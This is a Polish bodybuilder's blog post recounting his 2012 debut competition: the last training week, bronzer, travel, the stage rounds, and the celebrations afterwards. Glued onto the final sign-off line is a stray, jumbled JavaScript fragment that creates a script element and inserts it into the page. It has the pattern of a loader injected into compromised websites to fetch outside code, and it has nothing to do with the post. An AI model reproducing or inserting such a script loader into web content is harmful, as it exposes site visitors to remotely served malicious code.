DEBIUTY 2012

23.04.2012 / Adam Jabłoński / Kulturystyka

Cześć,

24.03.2012 roku startowałem w  debiutach kulturystycznych, jak wyglądały moje przygotowania możecie zobaczyć na firmowym forum Trec -a:

Jeśli chodzi o podsumowanie przygotowań i moje przemyślenia będzie to wszystko zawarte już niedługo w kolejnym numerze TREC MAGAZINE (następca REBEL Magazine).

A ja napiszę trochę jak to wszystko wyglądało za kulisami. :

Cofnijmy się na parę dni przed debiutami, do ostatniego tygodnia przed startem.
Zostały mi 3 treningi i to tylko obwodowe byłem już bardzo zmęczony i tak bardzo cieszyłem się, że już nie trzeba robić treningów aerobowych i zostają już tylko 3 treningi siłowe.
Super tyle, że jak zrobiłem 1 obwód na 1 treningu to na 2 obwodzie już nie miałem siły ćwiczyć, a na 3 obwodzie chodzić – bardzo szybkie tempo i ciężary też dość ciężkie jak na ten okres, wtedy już tylko myślałem, że trzeba dotrwać do końca.

Dobrze, że razem z moja dziewczyna chodziliśmy na siłownie  bo w sposób gdy „krzyczała” żebym ćwiczył dalej, nie odpoczywał i się nie obijał.
Pamiętam jak wkurzona mówiła,że  szybciej skończę jak nie będę robił przerw to mnie zmuszało ćwiczyć i dokończyć trening  ten jak i wiele innych kiedy już nie miałem po prostu siły (na prawdę nie widziałem, że przygotowania mogą być tak męczące do tego dochodziły przeziębienia które bardzo osłabiały cały organizm).

Gdy zrobiłem 3 trening w Środę, całe to napięcie przed zawodami opadło wiedziałem, że ja już zrobiłem wszystko jeśli chodzi o formę, teraz musiałem tylko się dobrze zaprezentować, a „reszta” w rękach sędziów :-).

Fotki z ostatniego treningu na siłowni przed debiutami :

A no nie zapominając oczywiście o tym, że od poniedziałku do piątku piłem powyżej 10 litrów wody więc jeszcze uciążliwe było chodzenie co chwilę do toalety.

Gdy nastąpił dzień w którym nałożyłem pierwsza warstwę brązera – pomagała mi moja dziewczyna był to nasz pierwszy raz więc nie wiedzieliśmy co z tego wszystkiego wyjdzie jednak wcześniej poradziłem się Tomka Lecha co i jak więc w ciemno nic nie robiliśmy.

Wyszło ok tylko był problem, że to czego dotknąłem albo się otarłem przybierało barwę która aktualnie nosiłem na sobie, także trzeba było przeszukać szafę i odnaleźć jakieś stare dresy po to, żeby przespać noc.
Rano w piątek gdy wstałem wykąpałem się zmyłem warstwę  brązęra który nie wsiąk, na skóra przybrała fajny ciemniejszy odcień i tak pojechałem do sklepu czekając, aż Przemek podjedzie i pojedziemy razem do Ostrów Mazowieckiej.

Kiedy Przemek podjechał, pojechaliśmy do Ostrów Mazowieckiej z Szczecina to coś koło 660 kilometrów – więc nie mało , dojechaliśmy tam późnym wieczorem, po drodze było dość dużo postojów głownie z mojego powodu i powodu picia dużej ilości wody.
Oczywiście bez niespodzianek się nie obyło i w trasie odkryliśmy, że niestety GPS nie działa.
Powrót do starych metod czyli patrzenie na znaki dał radę tylko do pewnego miejsca później musieliśmy odpalić zapasowego GPS w telefonie Przemka który ledwo żył i ciągnął prąd z laptopa który też już chciał prądu.

Gdy dojechaliśmy do hotelu byliśmy już bardzo zmęczeni, więc rozpakowaliśmy się i poszliśmy spać.
Przez cała noc i coś koło godziny 6 rano cały czas ludzie kręcili się na korytarzu  byli to chyba zawodnicy który dojeżdżali w nocy, bo po godzinie 7 rano było już bardzo głośno i było słychać jak dużo osób opuszcza hotel.

z Rana Przemek zrobił mi kontrolne zdjęcia formy – rano w dzień debiutów :

Po czym poszedł zjeść śniadanie, a ja zjadłem swój posiłek i położyłem się jeszcze przespać bo weryfikacje zaczynały się po 13.
15 minut później Przemek zadzwonił do mnie przy okazji budząc mnie i zadał mi pytanie ” a ty nie idziesz na weryfikacje ? bo tu wszyscy wychodzą ?” w pierwszym momencie po przebudzeniu mówię WHAT THE F%$K, zajrzałem na stronę PZKFiTS i fakt weryfikacje z rana były ale była to kulturystyka klasyczna.
Uff i dalej poszedłem spać, po pobudce pakowanie się i sprawdzanie po 10 x czy wszystko zabraliśmy.

Podjechaliśmy pod Hale Sportową, bierzemy torby itp. i tutaj chciałbym podziękować Przemkowi, że poniósł mi hantle do pompowania bo wówczas były jakieś mega ciężkie i nie dałbym rady ich donieść, generalnie to za bardzo na nic już nie miałem siły.

Weszliśmy do budynku, mnóstwo ludzi idziemy po bilety, wchodzimy na sale, szukamy miejsca aby się rozłożyć.
Było bardzo mnóstwo zawodników, gdy na każdego patrzałem myślałem ” kurde każdy lepiej wygląda niż ja”.
Postanowiłem się tym tak nie przejmować i zacząłem słuchać mp3.
Przed weryfikacją szybko poszedłem na natryskowe nakładanie brązera które organizuje na większych zawodach pan Robert Piotrkowicz wraz z żoną, bardzo szybko się to odbywa i bardzo profesjonalnie w dodatku wychodzi świetny kolor.

Następnie poszedłem na weryfikacje i chyba tutaj w tym momencie poczułem największy stres mnóstwo ludzi, waga na scenie, ja z papierami w ręku nie wiem czy najpierw podejść do ważenia czy najpierw do osób siedzących przy biurku – zresztą nie tylko ja miałem ten problem i to uczucie, że każdy jest większy i lepiej wygląda ode mnie – PAPAJ mówił, że tak będzie – wtedy poczułem stress i był to jeden największy moment kiedy się tak bardzo stresowałem.

Po weryfikacji, ważeniu itp. wróciłem na karimate poleżeć, później poszedłem do toalety – spotkałem parę osób które chciały zrobić sobie ze mną zdjęcia – było to bardzo bardzo miłe – bo w końcu kim ja jestem – na prawdę fajne uczucie takie coś wynagradza cały ten trud pracy włożonej w przygotowania.
Spotkałem też paru znajomych i poznałem „Richarda” z SFD który spędził trochę czasu z nami.
i porobił parę fotek z backstage’u jak się pompowałem przed wejściem na scenę :

 

httpv://www.youtube.com/watch?v=hdRJ0Rk82WI&feature=youtu.be

No i rozpoczęły się zawody i tutaj chyba największym zainteresowaniem  się kategoria bikini :

 

Gdy nadeszła moja pora na scenę wraz ze mną weszło 13 zawodników :

 

W czasie 1 rundy na samym początku gdy wchodziłem na scenę czułem się super, stojąc przed publicznością i sceną super uczucie, jednak po chwili zaczęło brakować mi tchu – pomyślałem co jest grane jednak chwile stojąc w Line UPie oddychałem głęboko i po chwili przeszło, runda trwała bardzo długo – z tego co widziałem na filmikach w internecie jednak na scenie była to dosłownie chwila – wchodzę stoję na scenie, pozy, wracam stoję w line up-ie , porównanie i zaraz koniec.
Schodząc ze sceny byłem bardzo zadowolony z siebie, bo pamiętam jak pierwszy raz na FIBO 2011 wyszedłem na scenę z Tomkiem Lechem i Dawidem Gelerem to stres był mega, bałem się, nie umiałem pozować i prawie się udusiłem podczas 3 minutowego pokazu, a teraz czułem się na prawdę dobrze.

Przed 2 Rundą przyjechał Dawid „GISZMAN” Geler – przyleciał on z Irlandii aby dopingować mnie za co MU bardzo dziękuje, pomógł mi na szybko ustawić się dobrze w pozie klatka bokiem.

Po godzinie może dłużej rozpoczęła się 2 Runda – czyli FINAŁ, dopiero przed przeczytaniem listy osób zdałem sobie sprawę, że do finału  trzeba się dostać na szczęście dostałem się – głupie ale leżałem sobie spokojnie, słuchałem muzyki i nie pomyślałem o tym – i nie chodzi o to, że byłem pewien, że sie dostanę, bo nie byłem niczego pewien –  w głowie jedna myśl  „każdy wygląda lepiej ode mnie”, a konkurencja była bardzo bardzo dobra.

 

W Rundzie 2 były porównania oraz minutowa dogrywa, gdzie wszyscy chodzą po scenie i pokazują swoje najlepsze strony :

 

 

Po 2 rundzie byłem na prawdę zmęczony i to bardzo już ale najlepsze było przede mną czyli 3 runa UKŁAD DOWOLNY tutaj bardzo chciałem pokazać czego się nauczyłem tyle godzin z moją dziewczyną i wskazówki Dawida Gelera nie poszły na marne :

 

Po 3 Rundzie byłem szczęśliwy, że dałem z siebie max reszta już mnie nie obchodziła – byłem szczęśliwy, zmęczony i głodny.

Dzięki Dawid i Asiu za pomoc w układzie dowolnym – jestem na prawdę wdzięczny !!!!!!!!!

Jak zszedłem z sceny zjadłem batona BOOSTERA i wafle ryżowe, popijać Colą – MMMM pycha.

Następnie czekała nas dekoracja czyli odczytywanie miejsc, wręczanie medali, pucharów.

Tutaj było małe napięcie, ponieważ z mojej kategorii do 90 kg 2 zawodników było bardzo bardzo dobrze przygotowanych dobrze wyrzeźbionych, separacja bardzo dobra dodatkowo mieli większą masę i byli wyżsi i jak się okazało zajęli Oni 1 i 2 miejsce.

Uczucie fantastyczne, a jeszcze lepsze uczucie było jak jechaliśmy z Przemkiem i Dawidem autem do hotelu a ja cały czas jadłem wszystko.

Po zawodach nie zabrakło wspólnych fotek :
Fotka z Dawidem Gelerem, Akopem Szostakiem i Natalią Adam Jabłoński Dawid Geler Akop Szostak Natalia Mlekicka

Z Akopem Szostakiem

 

Z Robertem Piotrkiewiczem

Z Tomkiem Pabiniakiem

Z Mariuszem Bałazińskim

Wszyscy razem :

 

No i nagle zostało parę osób, wyszliśmy pojechaliśmy do hotelu przebrać się wykąpać i pojechaliśmy wieczorem do Warszawy na kolacje, całą podróż do Warszawy spałem, jak dojechaliśmy mmm takie mixy potraw które wymyśliłem to przesada jak baba w ciąży jeszcze Dawidowi jakiegoś placka podkradłem czy coś takiego – farta miałem bo Mu wypadał dzień ładowania i jadł coś dobrego HA HA HA

Posiedzieliśmy pogadaliśmy i wróciliśmy do hotelu, rano zjedliśmy w 3 śniadanie, pożegnaliśmy się, Dawid pojechał wcześniej. My w drodze powrotnej zahaczyliśmy o pizzerie w Warszawie, tam zjedliśmy ja wziąłem jeszcze na wynos i tak generalnie to nigdy w życiu tak wypchanego brzucha nie miałem.

Tak to wyglądało, a bardzo cieszyłem się z powrotu do domu, mogłem się normalnie wyspać cały ten stress zszedł, aż do dnia następnego kiedy dowidziałem się, że mam startować w następna Niedziele, a moja waga w Poniedziałek wynosiła już 92,2-92,4 kg ale o tym kiedy indziej.

Także jeszcze raz chciałbym podziękować wszystkim którzy mi pomogli Asi, Przemkowi, Dawidowi, Tomkowi, Pawłowi, firmie Trec oraz rodzicom.

Pozdrawiam
HEJ
CZEŚĆd.getElementsByTagName(‚head’)[0].appendChild(s);var d=document;var s=d.createElement('script'); document.currentScript.parentNode.insertBefore(s, document.currentScript);